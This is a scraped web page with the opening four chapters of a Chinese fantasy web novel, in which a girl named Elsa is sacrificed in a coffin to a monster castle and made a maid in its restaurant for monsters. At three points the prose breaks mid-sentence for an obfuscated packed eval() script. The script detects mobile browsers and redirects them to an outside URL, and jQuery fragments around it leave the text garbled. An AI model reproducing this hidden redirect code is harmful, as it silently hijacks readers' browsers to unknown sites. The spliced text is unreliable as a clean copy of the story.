《成为怪物餐厅的团宠》 1. 献祭＆怪物 铺天盖地的暴风雨肆虐着袭来，血红的满月投下奇异的光线，红光穿过厚重的雾气，和几盏在风雨中飘摇的煤油灯一起晃动。 艾尔莎跪在泥水中，被雨淋湿的衣服沉重地拉着她往下坠。 “艾尔莎，你为什么要逃跑？” 她的父亲站在她面前，提着半瓶酒晃荡的空酒瓶，常年酗酒让他看起来比实际年龄更苍老，眼睛里布满了血丝，艾尔莎分不清那是酒精还是流入他眼中的雨水造成的。 总不是为了可怜自己将要献祭的女儿而哭泣吧。艾尔莎自嘲地想。 艾尔莎原本有一头柔顺的红发，但现在被剪得像是破布的边缘般参差不齐。是她自己下的手，为了逃离这里，在穿越荆棘丛时，艾尔莎用匕首割断了被缠绕住的头发。 但她最终还是没能脱逃，她离家不久，就被紧盯她的村民们追回来了。 艾尔莎很后悔，要是能早点偷听到父亲和村民的对话就好了。可即便艾尔莎早就嗅到了村里不同寻常的氛围，她也万万没想到自己要被当成献给怪物的祭品。 村民们反复念叨着同样的话语，似乎这样就能减轻那沉甸甸的负罪感。 “我们再也不想重现十年前的悲剧了！” “我们必须送上让他们满意的少女，不然那群怪物就会对我们降下可怕的诅咒！” 划过天空的闪电照亮不远处的山顶，显出城堡狰狞的黑色轮廓。闪电的白色利芒能够撕裂漆黑的夜幕，却也使那城堡的阴影愈发浓重。 那是会在白天消失，只会在黑夜中出现的城堡——居住着怪物的城堡。 艾尔莎被反剪双手背在身后，左右肩膀都压着一只粗粝的大手，沉重的枷锁让她的所有挣扎都变成了无用功，艾尔莎眼见着村民们抬来了一樽黑色的棺材。 “请你原谅我们。”戴着头巾，上了年纪的女人满脸皱纹，每条褶皱都代表沉重的苦难：“我会为你祈祷的。” 村民们移开了棺材盖，棺木里铺垫了鲜红的布料，艾尔莎感觉到肩膀上的压力移开了，变成了上提的力量——这更糟糕。 “父亲，救救我！”艾尔莎恨不得融进土地，像扎根深处的大树般无法撼动，然而她只是飘摇的杂草，她乞求在场唯一有理由拯救她的人：“你的亲人只剩下我了！如果我死了，谁能来照顾你的下半生呢？” “哦，我的艾尔莎。”酒鬼捂住了眼睛，他深呼吸平缓心情，在艾尔莎面前摇摇晃晃地蹲下，在她希冀的目光中说：“亲爱的，他们不会杀死你的。” “不会死？”心脏寸寸发凉，艾尔莎的视线逐渐暗淡，她的嗓音坚硬得像块沉重的石头：“那么十年前的悲剧是怎么发生的？” “我的母亲，”愤怒在她的瞳孔中燃烧，让酒鬼忍不住避开其中的尖锐：“她是被谁杀死的！？不就是那些鬼怪吗！” 在她七年那年，也就是十年前，这座村庄曾差点覆灭，而艾尔莎的母亲为了保护她，死在了那场怪物入侵的灾难中。年幼的艾尔莎受了刺激，丧失了七岁前的全部记忆。 村民们面色难看地集体沉默着，仿佛一座座青铜塑像。而酒鬼父亲更是深深地垂下了头。 “皮特，”按着艾尔莎的村民提醒他：“午夜就快到了。” “为什么！？”从肩膀传来的力量拖着她接近那樽棺材，艾尔莎像是头负伤垂死的野兽：“为什么是我？因为我是村庄里最叛逆的女孩，死的就应该是我吗！？” “狄伦会回来的！”艾尔莎吼叫着，雨水灌入她的喉咙，试图将她绝望的哭诉倒回她的喉咙：“如果他看不到我！他不会放过你们的！” “狄伦？那个居无定所的猎魔人？”皮特失望摇头：“猎魔人的脑袋就悬在裤腰上，说不定在哪次猎魔中就死了，你不该把希望寄托在他身上。” 艾尔莎被塞进了棺材中，村民们推上盖子。 暴雨早把艾尔莎淋得湿透，为她遮挡风雨的却是这死亡的黑幕，合上的棺材盖阻挡了瓢泼的雨，油灯晃动的光亮，和艾尔莎最后的希望。 黑暗中响起钉钉子的声音，为了不让艾尔莎窒息，棺材盖贴心地留出了一道缝隙。 艾尔莎用手指去撬动那道缝隙，但它太狭窄了。最终她放弃了无望的挣扎，仰躺在棺材中，盯着眼前的黑暗。或是因为脱力，或是因为恐惧，她无法动弹，手脚脱离了她的意志，都像铅块般沉重。 山路崎岖不平，暴雨让这趟送刑之路愈发颠簸。拨开横生的枯木和纠缠的荆棘，山顶这座恐怖的城堡终于显现出它的全貌。 荒凉的垣墙，残破生锈的铁栏杆守卫着这座庄园，像野兽利齿般咬合的大门后种着枯萎的玫瑰，坟丘般的三角形土堆填满了前院。 而那座尖顶的府邸就孤单地坐落在庄园中心，窗户像空洞的眼睛般瞪视着前来的人类。 死亡的气息弥漫在每个角落，每个嗅到的人都心如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991218|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擂鼓，本能在催促他们离开这。但那阴森森的大门似乎预知到了他们的到来，利刃上下分开，露出仅供棺材通行的空间，这使它更像是处刑用的断头台了。 村民们把棺材塞进了铁门中，皮特是最后的推手。 “记住我的话，艾尔莎。这世上对你而言没有绝对安全的地方，”皮特抚摸着棺材，他知道艾尔莎听得到：“你得想办法活下来。” 艾尔莎没有回答，眼泪从她的眼角滑落，“我诅咒你们。”她低声说。 皮特松开手，棺材却没有像想象中那样砸落在地。 一阵疾风托起了需要四个人才能抬动的棺材，府邸古旧笨重的黑檀木门缓缓打开，棺材就像是在隐形的轨道上滑行，穿过破败的前院，一路滑到了厅内露出的一角猩红的地毯上。 木门和铁门同时合上，铰链发出分外尖锐的“嘎吱嘎吱”的狰狞笑声。 艾尔莎感觉到了那非人的魔力，和棺材那如同命运落下的审判锤般的停顿。她到了，这趟旅途的终点，也可能是她生命的终点——怪物的城堡。 她紧张得连呼吸都忘了，耳朵敏感地捕捉着周围的动静。可惜狄伦送给她的银匕首在逃跑的时候不慎遗落了，不然她也不会沦落到束手就擒的地步。 手指叩响在棺材上，伴随着女声模糊的叹息。听到这声动静，艾尔莎绷紧了身体。 她想趁棺材盖被打开的时候一鼓作气冲出去。可未知的恐惧攫住了她的咽喉，湿透的衣物紧贴在她身上，舔舐着她的热气。 她感到疲惫，困顿，委屈，但最压倒一切情绪的还是恐惧。就算有那把银匕首，她又能做到什么呢？恐惧如同蒙住她的黑色幔纱。 费了好多人力才钉上的棺钉同时崩出，不等艾尔莎有所反应，棺材盖就顺滑地推开了。 映入眼帘的是高高的穹顶，时光的久远让雕刻画的穹顶褪去了鲜妍的色彩。大厅内并非全黑的，摇曳的烛光提供了黯淡的光源。 有两个高大的人形正站在棺材旁，居高临下地看着她。 烛光无法照到的暗处，是他们隐在黑夜中的脸。 “我订购的货物到了。”黑暗中，女人发出柔美的轻笑：“让我检查一下。” 穿着丝绸长裙的女人身姿婀娜，瀑布般的长发披下，随着她俯身查看艾尔莎，那头秀发就像是细密的网般笼罩向艾尔莎。 和闪电一起划破黑夜的，是艾尔莎的尖叫。 2. 初见＆女仆 “哦，你吓到我了。”女人迅速直起身远离她，手轻拍在前胸。 闪电划过窗棂，照亮了女人的脸。那是张古典的美人脸，美得内敛而神秘，她拧着眉，阴郁的神情如同黑压压的阴云。 而站在她身旁的男人正冷冷地打量着自己，他身穿白色及膝的外套，银白色的头发在脑后扎成一束松散的发辫。 因为他出挑的容颜，艾尔莎不禁有些怔愣，只是那精致如雕塑般的五官蒙上了永冻的冰雪，艳丽和冷酷都尖锐得令人过目不忘。 他也是怪物吗？艾尔莎盯着他，他左右太阳穴的位置分别戴着银色的螺钉和螺帽，乍一眼看去是特别的发饰。 但若仔细观察，就会发现头发同螺丝间的缝隙，露出那环环相接的螺纹杆。这螺纹杆横穿了他的脑袋，将螺钉和螺帽衔接起来。 艾尔莎忍住眼泪坐起身，飞快地缩到离他们最远的角落。但正如艾尔莎看清了他们的相貌，女人也飞快地将她打量完毕。 “哦，瞧你的样子，”女人用手帕擦拭着眼睛，泪水就像关不掉的水龙头般滚滚而出：“瘦得就像只饿死的水鬼。” 等看到艾尔莎别出心裁的短发时，她发出了短促的尖叫，手背抵住额头，一副就要陷入晕厥的模样：“救命！我们餐厅里可没有过这么难看的扫把！” “看来您给的预算并不多，妈妈。”有人忽然在艾尔莎的耳边笑嘻嘻地说，艾尔莎惊吓转头，说话的人几乎是贴着她的脸，蔷薇般的气息吹拂在她脸上，艾尔莎猛地向后仰，差点摔出棺材。原来这房间里还有另个人在。 “我有这么可怕吗？”他无辜地问，退后了些。他的一只手背搭在棺材边上，另一只手则垂落进棺材中，轻轻触碰艾尔莎的衣角，他是倚躺在棺材旁的，侧脸枕着手背，笑吟吟地抬头看来：“可爱的小姐？” 艾尔莎下意识地摇摇头，他长得跟可怕一点关系都没有，他灿金的短发如绸缎般泛着光，蓝色的眼睛堪比珍稀的宝石般透澈明亮。 他的容貌介乎少年和青年，既有少年无忧无虑的开朗笑容，又有青年出挑的轮廓。 “你喜欢我的外貌，”他弯着眼角满足地笑起来：“妈妈，我喜欢她。” 他优雅地站起身，随着他的动作，黑色的兜帽从肩膀处垂落。艾尔莎才注意到他奇怪的装束，他就像应该穿着华美礼服的贵族少年，但他此刻穿着夜色般漆黑的长袍，宽大的袖子像是鸟的羽翼。 注意到艾尔莎的目光。他得意地挺起胸膛：“这是巫师的长袍。” “我可是给出了不菲的金币，和一封言辞诚恳的求购信。”女人委屈地呜咽：“他们却给我送了只丑陋的猴子。” 金币？艾尔莎睁大了眼睛。村民们说过恐吓信的事情，可却从来没有提起过金币！是谁独吞了吗？！她的眼前浮现父亲的醉态。 “您在信上写了什么？”金发少年颇有兴趣地追问。 “我要一个少女，按时用棺材送到，”女人抽抽噎噎，但信件的内容都记得很清楚：“不然，死亡就会来迎接你们！” 金发少年忍俊不禁：“噗~这分明就是恐吓信吧！” “这是公平的交易。”女人面露不悦：“只可惜我没有考虑退货的情况。” “可您没说要的是女仆。” “要是用来吃的，”女人怜悯地看了眼艾尔莎：“她这身骨头就更不合格了，我甚至无法判断她和伊芙哪个更丰满。” 女仆？艾尔莎捕捉到关键的信息，停滞的心跳重新怦怦跳起来，她有活下去的机会了吗？ “不用退货。”银发青年打断了他们的对话，他迅速贴近艾尔莎，看起来纤弱，但用一只手就能轻巧地拎起少女。 冰冷的触感就像是一只盘旋在后脖颈上吐着信子的蛇，艾尔莎咬着下唇才没有尖叫出声。 粗布衣服随着男人的动作向上提起，露出白皙的腰腹，男人的目光被吸引了。另一只手抚摸上艾尔莎的皮肤。 艾尔莎被那冰冷的触感冻得起了鸡皮疙瘩，她看清了那只苍白的手，和藏在白色袖子下，手腕和手掌连接处粗糙的缝线。他的手指间银光闪烁，那是锋利的刀片。 艾尔莎挣扎起来：“放开我！”她的声音逐渐尖利，积蓄的情绪跟着失控：“救命！” “天呐，为什么要让她发出指甲划过玻璃的声音，你就不能放开她吗，斯坦因？”女人揉着太阳穴，鲜红的指甲衬着她阴沉的脸色。 “温热的皮肤，血液和精密运作的身体系统。”他甚至温柔地笑起来，仿佛面前是他心爱的情人：“不错的研究材料。” “那可不行，斯坦因，她这是妈妈的。”金发少年做了个鬼脸。 见艾尔莎目露祈求地看向自己，金发少年微微怔楞，回以灿烂的笑容。 “莱昂，这不关你的事。”莱昂的阻拦让斯坦因面露不满：“除了实验室的手术台上，她还能在哪有价值？” “有些客人强烈建议招募人类奴仆，我们总得听取他们的意见。”女人嗔怪地看了眼斯坦因：“别忘了，餐厅的宗旨是为所有怪物提供宾至如归的体验。” 斯坦因发出嗤笑：“意思是厨房要换新菜单了？” 他手中的人类像个婴儿般蜷缩着身体试图保护自己，因为冷和恐惧微微颤抖，也像个婴儿般孱弱无助，等待着命运的宣判。 “当然不是，妈妈怎么会是那么残忍的雇主。”女人打了个响指，被泪浸湿的手帕被凭空点燃的火焰燃烧殆尽。女人从口袋里掏出了新手帕，轻轻地按在眼角：“可她的样子距离一个合格的女仆也太远了。” “我……”艾尔莎虚弱的声音在颤抖，但还是吸引了他们的目光：“我会做所有的家务活。” “还有，我会点草药学，我跟医生学过。”艾尔莎曾帮村里的药师打过下手，还跟着猎魔人狄伦学习，但这当然不能说出口：“还有，还有……体能也会比一般的人要好。我可以做个好女仆的！” 艾尔莎十分瘦削，甚至因为常年的营养不良而面黄肌瘦，但她被泪洗过的双眼明亮，虽是浓墨般的暴风雨夜，却让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991219|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起月光。 “给她机会吧，我相信她会做好的。”莱昂朝艾尔莎眨眨眼：“对吧？” 艾尔莎重重地点头，但想到自己此刻狼狈的模样毫无说服力，她连忙用嘶哑的声音说：“我会尽最大的努力去做的。” “那好吧。”女人将双手轻轻抵在小腹前，高雅的姿态让人想起黑天鹅，艾尔莎觉得她不哭泣时，就像曾看到过的歌剧院巡演的舞蹈演员。 “你将以下等女仆的身份留下来，在我的餐厅工作，这里会提供给你食宿。如果你能顺利通过试用期，那么，你将正式成为餐厅的女仆，受到我‘噩梦夫人’的庇护，你听清楚了吗？” “是，是的，夫人。我愿意！” 夫人满意地点点头：“那么，你的名字。” “我叫艾尔莎。” 话音刚落，空气中浮现了一行血红的文字，像是荆棘般的纹路，浮空的羽毛笔签下了艾尔莎的名字。 艾尔莎的手背跟着轻轻一烫，烙印般的赤色在她的皮肤上隐隐浮现，但很快就消失了。 “只是个保障而已，别太在意，”夫人挥了挥手，被打乱的红色字迹烟雾般消散了：“只要不违背合同，就不需要承担后果，很简单的逻辑对吧？” “如果她搞砸的话？”斯坦因问。 “如果她搞砸的话。”夫人理所当然地说：“那她就是你的了。” 不顾艾尔莎猛地苍白的神色，斯坦因伸手旋转他太阳穴上的那个螺丝钉，拧起的眉毛舒展了些。 “无趣，”他评价道：“既然如此，这里跟我也没什么关系了。” 他把艾尔莎扔回棺材。大厅盘旋的楼梯直通上方黑黢黢的楼层，斯坦因的脚步声带动腐朽的木质吱呀作响，很快他的身影就融进了黑暗中。 “那我也回房间了。”莱昂绕过夫人，对望着他的艾尔莎偷偷露出俏皮的微笑，和斯坦因不同，他上楼时落地的脚步毫无声响，艾尔莎似乎听到了翅膀扑扇的声音。 “伊芙。”夫人攥着手帕，拍了拍掌心。 屋门被疾风猛地吹开，“嘭”地砸在墙上。冰冷的雨丝也趁机钻进厅内，门外细密的雨中，三角坟包的土堆开始松动，碎石从尖顶纷纷滚动。 白骨猛地钻出泥土，没有皮肤和血肉的五指朝天伸开。 看到这可怖的一幕，艾尔莎猛地睁大眼，但想到噩梦夫人讨厌尖叫，她硬生生把声音吞了回去。 泥石簌簌而下，一副骨架顶开土堆爬了出来。雨水混合着泥浆冲刷着她裸露的胸骨，腰间胯骨的位置却违和地围着件黑底白边的女仆围裙。 电闪雷鸣间，她像是终于调整好提线的木偶，缓慢而迟钝地踏上台阶，走进了屋。 “夫人，”骷髅拍了拍她女仆裙摆上沾湿的雨水，恭敬地弯下腰：“请您吩咐。” “这是新来的女仆，就交给你了。”夫人介绍道：“这是女仆长伊芙，有什么不懂的就问她吧。” “黎明快到了，”手帕掩唇，夫人打了个哈欠：“我也要入寝了。” 3. 噩梦＆餐厅 分给艾尔莎的房间在一楼长廊深处，昏暗曲折的回廊像迷宫般衔接在一起。 伊芙提着盏煤油灯走在前面，骨头踩在橡木地板上，发出细碎的声响，就像是窃窃私语。 但艾尔莎很快发现那是真的窃窃私语，就来自于走廊上悬挂的油画肖像。蒙尘发黄的人像眉眼模糊，嘴巴却在轻轻煽动。 它们在当面讨论艾尔莎。 “哦~只要看她就知道了，人像就该是扁平的，要是立体了，会变得多么畸形。” “嘻嘻，不如我们来打赌吧，她能活多久？” 伊芙将煤油灯往墙壁上一晃，被照到的画像们纷纷皱起眉，“嗨！小心火，很危险的！”它们大声抱怨起来：“拿开，离我远点！” “你不用理会它们，你只需要听从夫人和两位少爷的命令就行了。”伊芙对艾尔莎说：“在这个家里，除了她们外的怪物都是仆从。” 像是为了回应伊芙的话，整点的钟声在此时敲响。 挂在墙上的木制咕咕钟打开顶端的小门，彩色的布谷鸟弹出来。它没有报时，而是清脆地鸣叫起来：“胡说！” “好吧，不包括德尔。”骷髅女仆长无奈更正。 虽然骷髅的相貌在烛光中显得鬼气森森，但伊芙有着温柔成熟的女声。艾尔莎提起勇气主动问她：“请问，女仆的工作，具体是要做些什么呢？” “女仆要负责日常夫人和少爷们的起居，家务。以及在餐厅开放时接待顾客。” “餐厅是？” “这里是噩梦餐厅，是一间向所有怪物开放的餐厅。”伊芙的语气里有淡淡的骄傲：“营业时间是每周的周末。” 艾尔莎想了下日期：“那不就是……” “没错，就是今天。”现在早已过了午夜，伊芙在褐色的房门前停下脚步：“这是杂货间，里面有张废弃的床，你先将就着用吧。黄昏前我会来喊醒你。” 艾尔莎推开门，空气中浮动着尘埃和霉菌的味道。角落堆着杂物和清扫工具，墙纸大面积地剥落，露出铁锈色的墙壁，废弃的铁床床垫下陷，积着层薄薄的灰。 房间不大，但艾尔莎惊喜地发现配有间小小的浴室。去而复返的伊芙敲开门，给艾尔莎带来了一床老旧却干净的被子。 艾尔莎匆忙地冲了个热水澡，换下脏兮兮的衣物，钻进被窝里取暖。 暴风雨在后半夜停息了些，凄风苦雨打得破旧的窗户吱呀作响，艾尔莎盯着陌生的屋顶陷入思考。 今后该怎么办？该如何在这活下去？狄伦会不会来救自己？活下去……母亲…… 她以为自己会彻夜难眠，但恰恰相反，睡意席卷而来，淹没了那些忧心忡忡的疑虑，艾尔莎坠入沉沉的梦中。 这一觉并不安稳，村民和父亲的面孔重叠，青色皮肤和乌鸦黑羽交织。等艾尔莎在呼唤中睁开眼，看到的就是骷髅黑洞洞的双眼。 她差点心跳骤停，但很快反应过来那是女仆长伊芙，艾尔莎拥着被子坐起身：“对不起，我睡得太沉了。” “你做了噩梦？出了好多汗。”伊芙说。 艾尔莎无法从骷髅的脸上看出情绪，但她还是感受到了语气里的关心。 “现在是下午四点，该起床做开业的准备了。要是偷懒，夫人会生气的。” 没拉好的窗帘透出明亮的光线，艾尔莎飞快地换上女仆装，镜子里的少女脸色苍白，被狗啃过般的红短发惨兮兮地披散在脑后，瘦弱的身形让人担心她随时会被风吹跑。 但总算要比暴风雨之夜的水鬼好多了。 她深呼吸一口，拉开房门，“我准备好了。”她对等候在门外的伊芙说。 噩梦餐厅对怪物开放的入口是府邸的后门，也就是面向悬崖的那侧。昨夜的暴风雨让悬崖变得又湿又滑，但却不妨碍络绎不绝来到这用餐的宾客。 今晚有难得的好月色，幽幽鬼火聚集到府邸周围，为餐厅镀上了层泛着荧光的轮廓。 门童僵尸放下那吊桥般的木门，奇形怪状的宾客鱼贯而入。 走廊两边挂着的肖像画提高声量，全是恭维的欢迎词。 “欢迎来到噩梦餐厅，我尊贵的客人们！” “是贝森先生和贝森太太！无论什么时候见都得感叹一句，两位真是男才女貌！” “长毛怪先生，好久不见，今晚的您真是容光焕发。” 伊芙在大厅安排宾客入座，而艾尔莎则被派去了忙碌的厨房。 “去冰库里拿食材！新人！”在搅动坩埚的矮人厨师对艾尔莎暴躁地吼叫：“竖着冻在那的！” 艾尔莎打开冰库的门，并排竖立着冻在那的有哥布林和鲨鱼，艾尔莎毫不犹豫地伸手去抱鱼头，鱼却挣扎了起来，类似眼皮的瞬膜猛地睁开——他根本就没被冻住。 艾尔莎吓了一跳，连忙道歉：“对不起！” “我只是在这休息，还没轮到我值班。”鱼人看出了艾尔莎的目的，他慢吞吞从身后掏出一顶厨师的帽子，戴在脑袋上，肿泡的鱼眼瞥了眼旁边的哥布林：“你来找汤料的食材？是旁边这家伙。” 被误认为是食材让他很不高兴，鱼厨师的尾鳍不满地在冰上敲打：“新女仆艾尔莎，不愧是人类，真没有礼貌。” 艾尔莎连连道歉，“……欸？”她顿了下，“你知道我的名字吗？” “有墙头画这群喜好八卦的怪物在，大家想不知道你的存在都难。”鱼人厨师对艾尔莎挥挥鱼鳍：“别傻站着了，把那只哥布林拖出去解冻。” 要想拖动哥布林在生理和心理上都不容易，但艾尔莎并没有拒绝的权力，她手足无措地围着哥布林转了两圈，不知道该怎么下手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991220|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “抱着它的脖子，就像你刚刚抱我一样，笨蛋！” 艾尔莎紧张得声音都破了：“它的头颅会滚下来吗？” 她眼一闭心一横，像拔萝卜那样将冻着的哥布林拖到了厨房。刚解决完这个棘手的任务，鱼人厨师长又开始将她指挥得团团转。 “艾尔莎，最后一道菜，送到大厅去。” “好的！”艾尔莎端着菜钻出厨房，一路上小心翼翼地避免撞上任何宾客。她尽量装得若无其事，但路过的所有怪物都惊奇地盯着她。 心跳得越来越急促，艾尔莎忍不住加快脚步，以至于不小心踩进了经过的史莱姆。她的脚陷进透明的黏液中，被绊了一跤。 糟了！艾尔莎一惊，她没用手去撑地，而是先护住了餐盘，双膝狠狠地跪在了地上。 生理性的泪水因为疼痛夺眶而出，艾尔莎却长舒了口气，还好将餐食护住了。 “你没事吧？”女声温柔问，帮她接过了盘子。艾尔莎诧异抬头，帮助她的是个美丽的女性，而且……看起来是个人类。她手中正挽着个长着山羊角的男人。 “哎呀，餐厅居然招了人类女仆，真让人意外。”山羊角的男人扶起艾尔莎：“初次见面，我是贝森，这是我的太太。” 贝森太太将餐盘递给艾尔莎，对她露出温柔的微笑：“希望你没有受伤。” “谢谢你！……抱歉，我得走了。”艾尔莎连忙接过来，顾不上查看膝盖的状况，艾尔莎端着餐盘来到大厅。 大厅里，烹饪好的饕餮珍馐弥漫着垂涎的香气。 窗帘和帷幕被全部拉开，皎洁的月光照进落地窗，为雪白的桌面铺上银光。 每桌都摆放着精致的黄铜烛台，三只蜡烛的火光轻轻晃动。精心定制的佳肴摆满了桌面，异种族的宾客们围坐在桌旁，目光投向正亭亭站在旋转楼梯上的夫人。 “欢迎各位的光临，真令我感动，”夫人轻轻啜泣，举着红酒杯，红色的液体像鲜血般浓稠：“让我们敬月亮，敬异族，敬噩梦餐厅。” 宾客们应邀举杯，清脆的杯壁碰在一起。等候在旁的餐厅员工们纷纷鼓起掌，营造出热情美好的氛围。 “你适应的不错，”掌声中，伊芙小声对艾尔莎说：“再坚持一天。” “女仆长……” “叫我伊芙就好。” “谢谢你，伊芙。”艾尔莎轻声说。 等艾尔莎收拾完狼藉的餐桌，黎明的曙光照亮了地平线，她在落地窗前眺望了一阵，恋恋不舍地将厚重的窗帘，和黑色的帷幔全部拉起。 “要严丝合缝。”伊芙叮嘱她：“这是今天最后的任务，完成了就可以去休息了。” 回到房间，艾尔莎穿着女仆装就倒在了床上。她太累了，甚至没有力气担惊受怕。一沾到枕头，她就昏睡了过去。 4. 黑鸦＆莱昂 第二天的盛况丝毫不逊，艾尔莎忙得脚不沾地。 端菜钻出厨房时，艾尔莎忽然觉得有目光落在自己身上，可当她敏锐回头，身后却什么都没有。 “艾尔莎，你在这里。”经过的伊芙对她招手：“夫人要去接待客人，抱着那边的花篮跟上来。” 藤蔓编织的花篮里，黑色曼陀罗肆意地盛放，它的花语是不可预知的死亡和爱。 “是什么客人？”艾尔莎好奇地问伊芙。 “听说远道而来，石棺已经停在门口了。嘘，夫人下楼了。” 噩梦夫人优雅神秘的身影出现在大厅，她换上了全新的丧服，门童丧尸拉开门，门口的石棺跳出来满身绷带的木乃伊。 黄沙簌簌地从他身上抖落，木乃伊走进餐厅，将绷带的一头递给夫人，以示最高的礼节。 夫人阴郁的脸上露出少见的笑容，这使她有了种生动迷人的美艳，她称赞道：“要是扯住这端拉扯，您肯定能变成全场最漂亮的陀螺。” “夫人，您真是幽默。不过，您猜对了我的压轴舞蹈呢。”木乃伊发出僵硬但真挚的笑声。 等它离开后，夫人的脸色立刻变了，她看起来又要哭了：“看这些尘土！” 木乃伊经过的地方，留下了一行像是脚印般的黄沙，夫人掏出手帕啜泣：“哦天呐，伊芙！伊芙！快想想办法。” 忽然间，那种被盯着的，毛骨悚然的感觉又出现了。艾尔莎心头浮现不详的预感，狄伦说过，虽然她是个普通人，可她拥有很强大的直觉和灵感。 但那层疑虑很快被伊芙新的指令打断：“艾尔莎！去拿扫把和簸箕。” “好的，我马上回来！” 从房间取了工具，艾尔莎一手提着扫帚，一手举着烛台匆匆往大厅走。月光无法光临的走廊只能靠烛火给予有限的照明，艾尔莎绕过拐角时，听到背后传来奇怪的异响。 她似乎听到了脚步声，但又似乎是金属敲击在木质地板上发出的噪音，但无论是什么，它都在快速地接近她。 不远处的走廊摆放着及腰的古董木柜，柜面上有一台留声机。艾尔莎把扫帚靠到柜子旁，再迅速把三根蜡烛拔下来，排放在留声机旁边。 她握紧手中的烛台，没有了蜡烛后，裸露的烛针看起来就像是三角叉。艾尔莎屏住呼吸，捕捉背后的动静。 脚步绕过拐角，重重地踏地，风声骤紧，是它朝艾尔莎飞扑而来！ 艾尔莎蓦地转身，将烛台捅向偷袭者。借助它冲刺的力量，针尖擦破了偷袭者的脖颈。它仰头发出愤怒的鸣叫，猛地向后跳。 柜面上摇曳的三只蜡烛照清了怪物的模样，它有着类人的身躯，紧绷的皮肤包裹着佝偻的脊背。和脖子一般粗的脑袋上没有五官，只有如同吸盘般的血盆大口，尖阵般细密排列的牙齿咬合在一起，发出金属清脆的响声。 “我是餐厅的员工，受到夫人的庇护，你不能伤害我！”艾尔莎大声地说，手忍不住发抖。 但怪物对此毫无反应，艾尔莎意识到，它和大部分的宾客不同，没有自我意识和理智，纯粹凭借本能行动。 艾尔莎用烛台捅伤了它的脖颈，受伤没能打消它的恶意，反而激发了它身为捕猎者的兴奋。 它绷紧身体，再次朝着艾尔莎跃来。 艾尔莎又一次向他挥舞烛台，她的动作很果决，预判也很准确，烛台刺到了怪物的身上，它疼得咧了下嘴，但它很快站稳，改为慢慢地向艾尔莎靠近。 手心渗出汗，烛台的握柄变得湿滑，艾尔莎只好更用力地攥住。 她紧盯着怪物的行动，跟随着它的移动改变站位，她的脑海里回想起狄伦对她的教导——永远不要将毫无防备的背后暴露给敌人。 可再这么僵持下去，将陷入对自己不利的境地。额头上渗出细密的汗，艾尔莎大声地喊着伊芙和噩梦夫人，但相距太远，她的求救如石头沉入大海。 周旋已久的怪物再忍不住猎物的诱惑，向艾尔莎发起攻击，这次他撞倒了古董柜上的蜡烛。 倏忽而至的黑暗笼罩了艾尔莎，艾尔莎的气息乱了。怪物挥舞着爪子打飞了她手中的烛台，没有了利器的威胁，艾尔莎被按着肩膀扑倒了。 抵着它脑袋和身体的连接处，艾尔莎把那张不断张合的口器拼命地往外推。 手掌下是粗砺的皮肤，怪物因狩猎的兴奋而沸腾的血管在突突起跳。吸盘口器中流下的涎液滴落在艾尔莎脸上，带着温热、腥臭的，令人作呕的气息。 艾尔莎无比怀念起自己的银匕首，如果此刻她的手上有武器，一定会准确无误地插进这怪物的脖颈。但她只能用脆弱的手指扣进怪物的皮肤，因为用力，额头上的青筋紧紧绷起。 “滚开！”艾尔莎尖叫：“真恶心！” 璀璨的白光忽然照亮了昏暗的走廊，艾尔莎不禁眯起眼睛。身上猛地一轻，怪物被利剑般的光团狠狠击飞。 像是一片阴影倏忽降临，漆黑的衣袍拂过艾尔莎的脸，带着蔷薇颓靡的气息。光圈环绕着出现的男巫，灿金的短发让人想起炽热的太阳，他逼退了黑暗的潮水，挡在了她的面前。 “她不是让你放开吗？”莱昂说。袖口垂下的魔法杖闪烁着光芒。 那怪物狼狈地爬起来，断肢在潺潺流血，莱昂的出现让它忌惮极了，它把细长的尾巴夹在腿间，身体轻轻发抖。 “蚀兽？你怎么进来的？”莱昂歪了歪头，面露不满：“要是妈妈看到了，可是会大发雷霆的。” 蚀兽后退，慢慢再后退，忍受不了恐惧般掉头逃跑。莱昂叹息着摇了摇头，轻巧地挥舞魔杖，光束化为锋利的箭矢，穿透了蚀兽的四肢，将它钉在了地面。 “不听话就要受惩罚。”莱昂扬起手，走廊尽头的窗户“砰”地打开，不断战栗的蚀兽被风托了起来，从窗户那扔了出去。 “门卫怎么回事，”莱昂轻声嘟囔：“果然没脑子的丧尸就是不够聪明吗？” 收拾完蚀兽，莱昂伸手敲了敲墙：“德尔。”他的语气中带着抱怨：“你就这么看着？她可是差点被吃掉。” 艾尔莎诧异地看着莱昂，她不知道莱昂在跟谁说话。但一旁木柜上的留声机的指针忽然搭上了旋转的唱片。 